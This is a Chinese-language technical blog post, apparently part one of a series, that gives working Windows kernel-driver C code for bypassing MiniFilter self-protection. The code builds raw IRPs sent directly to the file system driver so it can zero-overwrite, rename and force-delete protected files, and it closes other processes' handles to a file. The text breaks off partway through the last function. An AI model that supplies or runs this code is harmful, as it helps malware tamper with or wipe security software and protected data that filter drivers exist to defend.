0%

绕过MiniFilter强删文件(1)

简介

我们知道在内核中使用 MiniFilter 拦截文件操作来实现自保护,这里提供一种绕过的方法。
从原理上来说,所有的 文件过滤驱动 都是绑定到 文件系统驱动(FSD) 设备上,形成一个设备栈,
所有的文件操作生成的IRP请求,经过层层过滤,最终发送到FSD来完成实际的操作。所以实现
的方法就是我们自己生成一个IRP请求,然后直接发送给FSD,这样就绕过了各种过滤驱动。

实现步骤

1.查找文件系统卷设备

删除不同盘下边的文件,最终由的对应的根目录设备来处理,所以我们首先要查找根目录设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
NTSTATUS GetRootRealDevice(
IN WCHAR RootName,
OUT PDEVICE_OBJECT *RootDevice,
OUT PDEVICE_OBJECT *RealDevice)
{
NTSTATUS Status = STATUS_SUCCESS;
HANDLE FileHandle = NULL;
IO_STATUS_BLOCK IoStatus = { 0 };
OBJECT_ATTRIBUTES ObjAttrib = { 0 };
PFILE_OBJECT FileObject = NULL;
WCHAR Buffer[8] = L"\\??\\C:\\";
UNICODE_STRING NamePath = { 0 };

if (!RootDevice || !RealDevice)
return STATUS_INVALID_PARAMETER;

Buffer[4] = RootName;
RtlInitUnicodeString(&NamePath, Buffer);

InitializeObjectAttributes(&ObjAttrib, &NamePath,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);

Status = ZwOpenFile(&FileHandle,
FILE_GENERIC_READ, &ObjAttrib, &IoStatus, FILE_SHARE_READ,
FILE_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT);
if (!NT_SUCCESS(Status))
return Status;

Status = ObReferenceObjectByHandle(
FileHandle, FILE_ALL_ACCESS, *IoFileObjectType,
KernelMode, (PVOID*)&FileObject, NULL);
if (!NT_SUCCESS(Status))
{
ZwClose(FileHandle);
return Status;
}

if (!FileObject->Vpb ||
!FileObject->Vpb->DeviceObject ||
!FileObject->Vpb->RealDevice)
{
ObDereferenceObject(FileObject);
ZwClose(FileHandle);
return STATUS_UNSUCCESSFUL;
}

*RootDevice = FileObject->Vpb->DeviceObject; // 卷设备
*RealDevice = FileObject->Vpb->RealDevice; // 物理设备

ObDereferenceObject(FileObject);
ZwClose(FileHandle);
return STATUS_SUCCESS;
}
2.创建自定义IRP请求

创建IRP需要使用 ObCreateObjectSeCreateAccessState 两个已导出但未文档化的函数

1
2
3
4
5
6
7
8
9
10
NTSTATUS ObCreateObject(
IN KPROCESSOR_MODE ProbeMode,
IN POBJECT_TYPE ObjectType,
IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL,
IN KPROCESSOR_MODE OwnershipMode,
IN OUT PVOID ParseContext OPTIONAL,
IN ULONG ObjectBodySize,
IN ULONG PagedPoolCharge,
IN ULONG NonPagedPoolCharge,
OUT PVOID* Object);
1
2
3
4
5
6
7
8
9
10
11
12
13
typedef struct _AUX_ACCESS_DATA {
PPRIVILEGE_SET PrivilegesUsed;
GENERIC_MAPPING GenericMapping;
ACCESS_MASK AccessesToAudit;
ACCESS_MASK MaximumAuditMask;
ULONG Unknown[256];
} AUX_ACCESS_DATA, *PAUX_ACCESS_DATA;

NTSTATUS SeCreateAccessState(
IN PACCESS_STATE AccessState,
IN PAUX_ACCESS_DATA AuxData,
IN ACCESS_MASK DesiredAccess,
IN PGENERIC_MAPPING GenericMapping OPTIONAL);

发送IRP的通用完成函数如下定义

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
NTSTATUS IoCompletionRoutine(
IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp,
IN PVOID Context)
{
PMDL MdlNext = NULL;
PMDL MdlCurrent = NULL;

UNREFERENCED_PARAMETER(DeviceObject);
UNREFERENCED_PARAMETER(Context);

if (Irp->MdlAddress)
{
MdlCurrent = Irp->MdlAddress;
while (MdlCurrent)
{
MdlNext = MdlCurrent->Next;
if (MdlCurrent->MdlFlags & MDL_PAGES_LOCKED)
MmUnlockPages(MdlCurrent);
IoFreeMdl(MdlCurrent);
MdlCurrent = MdlNext;
}
}

if (Irp->UserIosb)
*(Irp->UserIosb) = Irp->IoStatus;

if (Irp->UserEvent)
KeSetEvent(Irp->UserEvent, IO_NO_INCREMENT, FALSE);

IoFreeIrp(Irp);

return STATUS_MORE_PROCESSING_REQUIRED;
}
3.打开文件(IRP_MJ_CREATE)

在打开文件的时候,同时也获取文件对应的卷设备

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
NTSTATUS IrpOpenFile(
IN PUNICODE_STRING FilePath,
IN ACCESS_MASK DesiredAccess,
OUT PDEVICE_OBJECT* RootDevice,
OUT PFILE_OBJECT* FileObject,
OUT PIO_STATUS_BLOCK IoStatus)
{
PDEVICE_OBJECT RealDevice = NULL;
PDEVICE_OBJECT DeviceObject = NULL;
PFILE_OBJECT TempObject = NULL;
NTSTATUS Status = STATUS_SUCCESS;
OBJECT_ATTRIBUTES ObjAttrib = { 0 };
UNICODE_STRING TempName = { 0 };

PIRP Irp = NULL;
KEVENT LocalKEvent = { 0 };
IO_STATUS_BLOCK LocalIoStatus = { 0 };
PIO_STACK_LOCATION IrpSp = NULL;
AUX_ACCESS_DATA AuxData = { 0 };
ACCESS_STATE AccessState = { 0 };
IO_SECURITY_CONTEXT IoSecCtx = { 0 };

if (!FileObject || !RootDevice || !IoStatus ||
!FilePath || !FilePath->Buffer || !FilePath->Length)
return STATUS_INVALID_PARAMETER;

// 申请去除L"\\??\\C:"路径的内存
TempName.Length = FilePath->Length - sizeof(WCHAR) * 6;
TempName.MaximumLength = TempName.Length;
TempName.Buffer = (PWCH)ExAllocatePoolWithTag(NonPagedPoolNx, TempName.Length, 'test');
if (!TempName.Buffer)
return STATUS_INSUFFICIENT_RESOURCES;
RtlCopyMemory(TempName.Buffer, &FilePath->Buffer[6], TempName.Length);

// 获取盘符根目录设备
Status = GetRootRealDevice(FilePath->Buffer[4], &DeviceObject, &RealDevice);
if (!NT_SUCCESS(Status))
{
ExFreePool(TempName.Buffer);
return Status;
}

InitializeObjectAttributes(&ObjAttrib, FilePath,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, NULL, NULL);
Status = ObCreateObject(
KernelMode, *IoFileObjectType, &ObjAttrib,
KernelMode, NULL, sizeof(FILE_OBJECT), 0, 0, &TempObject);
if (!NT_SUCCESS(Status))
{
ExFreePool(TempName.Buffer);
return Status;
}

RtlZeroMemory(TempObject, sizeof(FILE_OBJECT));
TempObject->Type = IO_TYPE_FILE;
TempObject->Size = sizeof(FILE_OBJECT);
TempObject->DeviceObject = RealDevice;
TempObject->Flags = FO_SYNCHRONOUS_IO | FO_WRITE_THROUGH;
KeInitializeEvent(&TempObject->Lock, SynchronizationEvent, FALSE);
KeInitializeEvent(&TempObject->Event, NotificationEvent, FALSE);
TempObject->FileName = TempName; // 赋值文件路径

Status = SeCreateAccessState(
&AccessState, &AuxData, FILE_ALL_ACCESS, IoGetFileObjectGenericMapping());
if (!NT_SUCCESS(Status))
{
// 系统自动释放TempObject->FileName.Buffer
ObDereferenceObject(TempObject);
return Status;
}

KeInitializeEvent(&LocalKEvent, NotificationEvent, FALSE);
Irp = IoAllocateIrp(DeviceObject->StackSize, FALSE);
if (!Irp)
{
ObDereferenceObject(TempObject);
return STATUS_INSUFFICIENT_RESOURCES;
}
Irp->Flags = IRP_CREATE_OPERATION | IRP_SYNCHRONOUS_API;
Irp->RequestorMode = KernelMode;
Irp->UserEvent = &LocalKEvent;
Irp->UserIosb = &LocalIoStatus;
Irp->Tail.Overlay.Thread = PsGetCurrentThread();
Irp->Tail.Overlay.OriginalFileObject = TempObject;

IoSecCtx.AccessState = &AccessState;
IoSecCtx.DesiredAccess = DesiredAccess;
IrpSp = IoGetNextIrpStackLocation(Irp);
IrpSp->MajorFunction = IRP_MJ_CREATE;
IrpSp->DeviceObject = DeviceObject;
IrpSp->FileObject = TempObject;
IrpSp->Parameters.Create.SecurityContext = &IoSecCtx;
IrpSp->Parameters.Create.Options = (FILE_OPEN << 24) |
FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT | FILE_WRITE_THROUGH;
IrpSp->Parameters.Create.FileAttributes = FILE_ATTRIBUTE_NORMAL;
IrpSp->Parameters.Create.ShareAccess = 0;
IrpSp->Parameters.Create.EaLength = 0;

IoSetCompletionRoutine(Irp, IoCompletionRoutine, NULL, TRUE, TRUE, TRUE);
Status = IoCallDriver(DeviceObject, Irp);
if (Status == STATUS_PENDING)
{
KeWaitForSingleObject(&LocalKEvent, Executive, KernelMode, TRUE, NULL);
Status = LocalIoStatus.Status;
}
*IoStatus = LocalIoStatus;

if (!NT_SUCCESS(Status))
{
ObDereferenceObject(TempObject);
return Status;
}

InterlockedIncrement(&TempObject->DeviceObject->ReferenceCount);
if (TempObject->Vpb)
InterlockedIncrement(&(LONG)TempObject->Vpb->ReferenceCount);
*FileObject = TempObject;
*RootDevice = DeviceObject;

return Status;
}
4.获取属性(IRP_MJ_QUERY_INFORMATION)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
NTSTATUS IrpGetFileInfo(
IN PDEVICE_OBJECT RootDevice,
IN PFILE_OBJECT FileObject,
IN FILE_INFORMATION_CLASS InfoClass,
OUT PVOID FileInfo,
IN ULONG InfoSize,
OUT PIO_STATUS_BLOCK IoStatus)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG ClassLength = 0;
PIRP Irp = NULL;
KEVENT LocalKEvent = { 0 };
IO_STATUS_BLOCK LocalIoStatus = { 0 };
PIO_STACK_LOCATION IrpSp = NULL;

if (!RootDevice || !FileObject || !FileInfo || !IoStatus)
return STATUS_INVALID_PARAMETER;

switch (InfoClass)
{
case FileBasicInformation:
ClassLength = sizeof(FILE_BASIC_INFORMATION);
break;
case FileStandardInformation:
ClassLength = sizeof(FILE_STANDARD_INFORMATION);
break;
default:
return STATUS_INVALID_PARAMETER;
break;
}

if (InfoSize < ClassLength)
{
IoStatus->Information = ClassLength;
return STATUS_INFO_LENGTH_MISMATCH;
}

KeInitializeEvent(&LocalKEvent, NotificationEvent, FALSE);
Irp = IoAllocateIrp(RootDevice->StackSize, FALSE);
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

Irp->Flags = IRP_BUFFERED_IO | IRP_SYNCHRONOUS_API |
IRP_INPUT_OPERATION | IRP_DEFER_IO_COMPLETION;
Irp->RequestorMode = KernelMode;
Irp->UserEvent = &LocalKEvent;
Irp->UserIosb = &LocalIoStatus;
Irp->Tail.Overlay.Thread = PsGetCurrentThread();
Irp->Tail.Overlay.OriginalFileObject = FileObject;
Irp->AssociatedIrp.SystemBuffer = FileInfo;

IrpSp = IoGetNextIrpStackLocation(Irp);
IrpSp->MajorFunction = IRP_MJ_QUERY_INFORMATION;
IrpSp->DeviceObject = RootDevice;
IrpSp->FileObject = FileObject;
IrpSp->Parameters.QueryFile.Length = InfoSize;
IrpSp->Parameters.QueryFile.FileInformationClass = InfoClass;

//KeClearEvent(&FileObject->Event);
IoSetCompletionRoutine(Irp, IoCompletionRoutine, NULL, TRUE, TRUE, TRUE);
Status = IoCallDriver(RootDevice, Irp);
if (Status == STATUS_PENDING)
{
KeWaitForSingleObject(&LocalKEvent, Executive, KernelMode, TRUE, NULL);
Status = LocalIoStatus.Status;
}
*IoStatus = LocalIoStatus;

return Status;
}
5.设置属性(IRP_MJ_SET_INFORMATION)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
NTSTATUS IrpSetFileInfo(
IN PDEVICE_OBJECT RootDevice,
IN PFILE_OBJECT FileObject,
IN FILE_INFORMATION_CLASS InfoClass,
IN PVOID FileInfo,
IN ULONG InfoSize,
OUT PIO_STATUS_BLOCK IoStatus)
{
NTSTATUS Status = STATUS_SUCCESS;
ULONG ClassLength = 0;
PIRP Irp = NULL;
KEVENT LocalKEvent = { 0 };
IO_STATUS_BLOCK LocalIoStatus = { 0 };
PIO_STACK_LOCATION IrpSp = NULL;

if (!RootDevice || !FileObject || !FileInfo || !IoStatus)
return STATUS_INVALID_PARAMETER;

switch (InfoClass)
{
case FileBasicInformation:
ClassLength = sizeof(FILE_BASIC_INFORMATION);
break;
case FileRenameInformation:
ClassLength = sizeof(FILE_RENAME_INFORMATION);
break;
case FileDispositionInformation:
ClassLength = sizeof(FILE_DISPOSITION_INFORMATION);
break;
default:
return STATUS_INVALID_PARAMETER;
break;
}

if (InfoSize < ClassLength)
return STATUS_INFO_LENGTH_MISMATCH;

KeInitializeEvent(&LocalKEvent, NotificationEvent, FALSE);
Irp = IoAllocateIrp(RootDevice->StackSize, FALSE);
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

Irp->Flags = IRP_BUFFERED_IO | IRP_SYNCHRONOUS_API | IRP_DEFER_IO_COMPLETION;
Irp->RequestorMode = KernelMode;
Irp->UserEvent = &LocalKEvent;
Irp->UserIosb = &LocalIoStatus;
Irp->Tail.Overlay.Thread = PsGetCurrentThread();
Irp->Tail.Overlay.OriginalFileObject = FileObject;
Irp->AssociatedIrp.SystemBuffer = FileInfo;

IrpSp = IoGetNextIrpStackLocation(Irp);
IrpSp->MajorFunction = IRP_MJ_SET_INFORMATION;
IrpSp->DeviceObject = RootDevice;
IrpSp->FileObject = FileObject;
IrpSp->Parameters.SetFile.Length = InfoSize;
IrpSp->Parameters.SetFile.FileInformationClass = InfoClass;
IrpSp->Parameters.SetFile.ReplaceIfExists = FALSE;
IrpSp->Parameters.SetFile.FileObject = NULL;

//KeClearEvent(&FileObject->Event);
IoSetCompletionRoutine(Irp, IoCompletionRoutine, NULL, TRUE, TRUE, TRUE);
Status = IoCallDriver(RootDevice, Irp);
if (Status == STATUS_PENDING)
{
KeWaitForSingleObject(&LocalKEvent, Executive, KernelMode, TRUE, NULL);
Status = LocalIoStatus.Status;
}
*IoStatus = LocalIoStatus;

return Status;
}
6.写文件数据(IRP_MJ_WRITE)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
NTSTATUS IrpWriteFile(
IN PDEVICE_OBJECT RootDevice,
IN PFILE_OBJECT FileObject,
IN PVOID InfoBuffer,
IN ULONG InfoLength,
IN PLARGE_INTEGER ByteOffset,
OUT PIO_STATUS_BLOCK IoStatus)
{
NTSTATUS Status = STATUS_SUCCESS;
PIRP Irp = NULL;
KEVENT LocalKEvent = { 0 };
IO_STATUS_BLOCK LocalIoStatus = { 0 };
PIO_STACK_LOCATION IrpSp = NULL;
PMDL Mdl = NULL;

if (!RootDevice || !FileObject || !IoStatus ||
!InfoBuffer || !InfoLength || !ByteOffset)
return STATUS_INVALID_PARAMETER;

KeInitializeEvent(&LocalKEvent, NotificationEvent, FALSE);
Irp = IoAllocateIrp(RootDevice->StackSize, FALSE);
if (!Irp)
return STATUS_INSUFFICIENT_RESOURCES;

if (RootDevice->Flags & DO_BUFFERED_IO)
{
Irp->AssociatedIrp.SystemBuffer = ExAllocatePoolWithTag(NonPagedPoolNx, InfoLength, 'test');
if (!Irp->AssociatedIrp.SystemBuffer)
{
IoFreeIrp(Irp);
return STATUS_INSUFFICIENT_RESOURCES;
}
RtlCopyMemory(Irp->AssociatedIrp.SystemBuffer, InfoBuffer, InfoLength);
Irp->Flags = IRP_BUFFERED_IO | IRP_DEALLOCATE_BUFFER;
}
else if (RootDevice->Flags & DO_DIRECT_IO)
{
Mdl = IoAllocateMdl(InfoBuffer, InfoLength, FALSE, FALSE, NULL);
if (!Mdl)
{
IoFreeIrp(Irp);
return STATUS_INSUFFICIENT_RESOURCES;
}
MmProbeAndLockPages(Mdl, KernelMode, IoReadAccess);
Irp->MdlAddress = Mdl;
}
else
{
Irp->UserBuffer = InfoBuffer;
}

Irp->Flags = IRP_WRITE_OPERATION | IRP_SYNCHRONOUS_API |
IRP_DEFER_IO_COMPLETION | IRP_NOCACHE;
Irp->RequestorMode = KernelMode;
Irp->UserEvent = &LocalKEvent;
Irp->UserIosb = &LocalIoStatus;
Irp->Tail.Overlay.Thread = PsGetCurrentThread();
Irp->Tail.Overlay.OriginalFileObject = FileObject;

IrpSp = IoGetNextIrpStackLocation(Irp);
IrpSp->Flags = SL_WRITE_THROUGH;
IrpSp->MajorFunction = IRP_MJ_WRITE;
IrpSp->DeviceObject = RootDevice;
IrpSp->FileObject = FileObject;
IrpSp->Parameters.Write.Length = InfoLength;
IrpSp->Parameters.Write.Key = 0;
IrpSp->Parameters.Write.ByteOffset = *ByteOffset;

//KeClearEvent(&FileObject->Event);
IoSetCompletionRoutine(Irp, IoCompletionRoutine, NULL, TRUE, TRUE, TRUE);
Status = IoCallDriver(RootDevice, Irp);
if (Status == STATUS_PENDING)
{
KeWaitForSingleObject(&LocalKEvent, Executive, KernelMode, TRUE, NULL);
Status = LocalIoStatus.Status;
}
*IoStatus = LocalIoStatus;

return Status;
}

去除文件只读属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define LARGE_PATH 512
BOOLEAN CheckPathFromat(IN PWCHAR FilePath, IN ULONG ByteLen)
{
if (!FilePath || (ByteLen < sizeof(L"C:\\")) ||
(ByteLen > (LARGE_PATH - 128)))
return FALSE;
if ((FilePath[0] < L'A') || (FilePath[0] > L'z'))
return FALSE;
if ((FilePath[0] > L'Z') && (FilePath[0] < L'a'))
return FALSE;
if ((FilePath[1] != L':') || (FilePath[2] != L'\\'))
return FALSE;
return TRUE;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
NTSTATUS MyRemoveReadOnly(
IN PWCHAR FilePath,
IN ULONG PathByteLen)
{
NTSTATUS Status = STATUS_SUCCESS;
PDEVICE_OBJECT RootDevice = NULL;
PFILE_OBJECT FileObject = NULL;
IO_STATUS_BLOCK IoStatus = { 0 };
FILE_BASIC_INFORMATION BasicInfo = { 0 };
UNICODE_STRING PathString = { 0 };
WCHAR PathBuffer[LARGE_PATH] = L"\\??\\";

if (!CheckPathFromat(FilePath, PathByteLen))
return STATUS_INVALID_PARAMETER;

RtlCopyMemory(&PathBuffer[4], FilePath, PathByteLen);
RtlInitUnicodeString(&PathString, PathBuffer);

Status = IrpOpenFile(&PathString,
FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
&RootDevice, &FileObject, &IoStatus);
if (!NT_SUCCESS(Status))
return Status;

Status = IrpGetFileInfo(
RootDevice, FileObject, FileBasicInformation,
&BasicInfo, sizeof(FILE_BASIC_INFORMATION), &IoStatus);
if (!NT_SUCCESS(Status))
{
ObDereferenceObject(FileObject);
return Status;
}

if (BasicInfo.FileAttributes & FILE_ATTRIBUTE_READONLY)
{
BasicInfo.FileAttributes &= ~FILE_ATTRIBUTE_READONLY;
Status = IrpSetFileInfo(
RootDevice, FileObject, FileBasicInformation,
&BasicInfo, sizeof(FILE_BASIC_INFORMATION), &IoStatus);
}

ObDereferenceObject(FileObject);
return Status;
}

强删文件函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#define WRITE_BUF_LEN (1024 * 1024 * 20)
NTSTATUS MyPowerEraseFile(
IN PWCHAR FilePath,
IN ULONG PathByteLen)
{
NTSTATUS Status = STATUS_SUCCESS;
PDEVICE_OBJECT RootDevice = NULL;
PFILE_OBJECT FileObject = NULL;
IO_STATUS_BLOCK IoStatus = { 0 };
SECTION_OBJECT_POINTERS ObjPointer = { 0 };
FILE_DISPOSITION_INFORMATION DispInfo = { 0 };
FILE_STANDARD_INFORMATION StandInfo = { 0 };
PFILE_RENAME_INFORMATION RenameInfo = NULL;
UNICODE_STRING PathString = { 0 };
WCHAR PathBuffer[LARGE_PATH] = L"\\??\\";
LARGE_INTEGER ByteOffset = { 0 };

if (!CheckPathFromat(FilePath, PathByteLen))
return STATUS_INVALID_PARAMETER;

RtlCopyMemory(&PathBuffer[4], FilePath, PathByteLen);
RtlInitUnicodeString(&PathString, PathBuffer);

Status = IrpOpenFile(&PathString, FILE_GENERIC_READ,
&RootDevice, &FileObject, &IoStatus);
if (!NT_SUCCESS(Status))
return Status;

Status = IrpGetFileInfo(RootDevice, FileObject, FileStandardInformation,
&StandInfo, sizeof(FILE_STANDARD_INFORMATION), &IoStatus);
if (!NT_SUCCESS(Status))
{
ObDereferenceObject(FileObject);
return Status;
}

if (StandInfo.EndOfFile.QuadPart > 0)
{
PVOID WriteBuffer = ExAllocatePoolWithTag(NonPagedPoolNx, WRITE_BUF_LEN, 'test');
if (!WriteBuffer)
{
ObDereferenceObject(FileObject);
return STATUS_INSUFFICIENT_RESOURCES;
}
memset(WriteBuffer, 0, WRITE_BUF_LEN);
while ((ByteOffset.QuadPart + WRITE_BUF_LEN) < StandInfo.EndOfFile.QuadPart)
{
Status = IrpWriteFile(RootDevice, FileObject, WriteBuffer,
WRITE_BUF_LEN, &ByteOffset, &IoStatus);
if (!NT_SUCCESS(Status))
{
ExFreePool(WriteBuffer);
ObDereferenceObject(FileObject);
return Status;
}
ByteOffset.QuadPart += WRITE_BUF_LEN;
}

Status = IrpWriteFile(RootDevice, FileObject, WriteBuffer,
(ULONG)(StandInfo.EndOfFile.QuadPart - ByteOffset.QuadPart), &ByteOffset, &IoStatus);
ExFreePool(WriteBuffer);
if (!NT_SUCCESS(Status))
{
ObDereferenceObject(FileObject);
return Status;
}
}

RenameInfo = (PFILE_RENAME_INFORMATION)PathBuffer;
RenameInfo->ReplaceIfExists = FALSE;
RenameInfo->RootDirectory = NULL;
RenameInfo->FileNameLength = sizeof(L"abcdefghi.txt") - sizeof(WCHAR);
RtlCopyMemory(RenameInfo->FileName, L"abcdefghi.txt", sizeof(L"abcdefghi.txt"));
Status = IrpSetFileInfo(RootDevice, FileObject, FileRenameInformation,
RenameInfo, LARGE_PATH * sizeof(WCHAR), &IoStatus);
if (!NT_SUCCESS(Status))
{
ObDereferenceObject(FileObject);
return Status;
}

// 去除文件运行时的检测
if (FileObject->SectionObjectPointer)
{
ObjPointer = *(FileObject->SectionObjectPointer);
RtlZeroMemory(FileObject->SectionObjectPointer,
sizeof(SECTION_OBJECT_POINTERS));
}

// 设置删除文件
DispInfo.DeleteFile = TRUE;
Status = IrpSetFileInfo(RootDevice, FileObject, FileDispositionInformation,
&DispInfo, sizeof(FILE_DISPOSITION_INFORMATION), &IoStatus);

if (FileObject->SectionObjectPointer)
{
*(FileObject->SectionObjectPointer) = ObjPointer;
}

ObDereferenceObject(FileObject);

return Status;
}

关闭句柄占用

假如目标文件正在被其他程序占用中,无法独占的方式打开和擦除数据并删除,就需要手动遍历句柄表,
关闭占用的句柄。此功能开 verifier 时验证不通过,不开时可以正常执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
#define SystemHandleInformation 16

typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO {
USHORT UniqueProcessId;
USHORT CreatorBackTraceIndex;
UCHAR ObjectTypeIndex;
UCHAR HandleAttributes;
USHORT HandleValue;
PVOID Object;
ULONG GrantedAccess;
} SYSTEM_HANDLE_TABLE_ENTRY_INFO, *PSYSTEM_HANDLE_TABLE_ENTRY_INFO;

typedef struct _SYSTEM_HANDLE_INFORMATION {
ULONG NumberOfHandles;
SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

NTSTATUS ZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN OUT PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength OPTIONAL);

POBJECT_TYPE ObGetObjectType(IN PVOID Object);

使用 ZwQuerySystemInformation 遍历句柄表,使用 ObGetObjectType 获取句柄对应的类型

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
NTSTATUS CloseFileHandle(
IN PUNICODE_STRING VolumePath)
{
NTSTATUS Status = STATUS_SUCCESS;
PSYSTEM_HANDLE_INFORMATION HandelTable = NULL;
ULONG HandleTableSize = 0x80000;
PSYSTEM_HANDLE_TABLE_ENTRY_INFO EntryInfo = 0;
POBJECT_TYPE ObjectType = NULL;
PFILE_OBJECT FileObject = NULL;
POBJECT_NAME_INFORMATION NameInfo = NULL;
WCHAR PathBuffer[LARGE_PATH] = { 0 };
ULONG RetLen = 0;
OBJECT_ATTRIBUTES ObjAttrib = { 0 };
HANDLE ProcessHandle = NULL;
CLIENT_ID ClientID = { 0 };

if (!VolumePath || !VolumePath->Buffer || !VolumePath->Length)
return STATUS_INVALID_PARAMETER;

do
{
// 句柄表变化频繁需要多次查询
HandelTable = (PSYSTEM_HANDLE_INFORMATION)ExAllocatePoolWithTag(
NonPagedPoolNx, HandleTableSize, 'test');
if (!HandelTable)
return STATUS_INSUFFICIENT_RESOURCES;
RtlZeroMemory(HandelTable, HandleTableSize);
Status = ZwQuerySystemInformation(
SystemHandleInformation, HandelTable, HandleTableSize, NULL);
if (!NT_SUCCESS(Status))
{
ExFreePool(HandelTable);
if (Status != STATUS_INFO_LENGTH_MISMATCH)
return Status;
HandleTableSize *= 2; // 2倍增长
}
} while (!NT_SUCCESS(Status));
// 循环遍历句柄表
NameInfo = (POBJECT_NAME_INFORMATION)PathBuffer;
for (ULONG i = 0; i < HandelTable->NumberOfHandles; i++)
{
EntryInfo = &HandelTable->Handles[i];
FileObject = (PFILE_OBJECT)EntryInfo->Object;
ObjectType = ObGetObjectType(EntryInfo->Object);
// 不处理当前进程的句柄
if ((HANDLE)EntryInfo->UniqueProcessId == PsGetCurrentProcessId())
continue;
// 检测是否是文件对象
if ((*IoFileObjectType != ObjectType) || (FileObject->Type != 5))
continue;
// 获取文件对象的全路径
RtlZeroMemory(PathBuffer, LARGE_PATH * sizeof(WCHAR));
Status = ObQueryNameString(
FileObject, NameInfo, LARGE_PATH * sizeof(WCHAR), &RetLen);
if (!NT_SUCCESS(Status)) continue;
// 比较文件全路径
if (!RtlEqualUnicodeString(VolumePath, &NameInfo->Name, TRUE))
continue;
// 通过复制句柄的方式关闭
ClientID.UniqueProcess = (HANDLE)EntryInfo->UniqueProcessId;
InitializeObjectAttributes(&ObjAttrib, NULL, 0, 0, NULL);
Status = ZwOpenProcess(
&ProcessHandle, PROCESS_DUP_HANDLE, &ObjAttrib, &ClientID);
if (!NT_SUCCESS(Status)) continue;
Status = ZwDuplicateObject(
ProcessHandle, (HANDLE)EntryInfo->HandleValue,
NULL, NULL, PROCESS_DUP_HANDLE, 0, DUPLICATE_CLOSE_SOURCE);
ZwClose(ProcessHandle);
}
return STATUS_SUCCESS;
}

获取文件对应的卷设备路径

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
NTSTATUS MyPowerCloseFile(
IN PWCHAR FilePath,
IN ULONG PathByteLen)
{
HANDLE LinkHandle = NULL;
OBJECT_ATTRIBUTES ObjAttrib = { 0 };
NTSTATUS Status = STATUS_SUCCESS;
UNICODE_STRING DosName = { 0 };
WCHAR DosBuffer[8] = L"\\??\\C:";
UNICODE_STRING VolumeName = { 0 };
UNICODE_STRING PathString = { 0 };
WCHAR PathBuffer[LARGE_PATH] = { 0 };

if (KeGetCurrentIrql() != PASSIVE_LEVEL)
return STATUS_INVALID_PARAMETER;

if (!CheckPathFromat(FilePath, PathByteLen))
return STATUS_INVALID_PARAMETER;

DosBuffer[4] = FilePath[0];
RtlInitUnicodeString(&DosName, DosBuffer);

InitializeObjectAttributes(&ObjAttrib, &DosName,
OBJ_KERNEL_HANDLE | OBJ_CASE_INSENSITIVE, 0, NULL);

Status = ZwOpenSymbolicLinkObject(&LinkHandle, GENERIC_READ, &ObjAttrib);
if (!NT_SUCCESS(Status))
return Status;

VolumeName.Length = 0;
VolumeName.Buffer = PathBuffer;
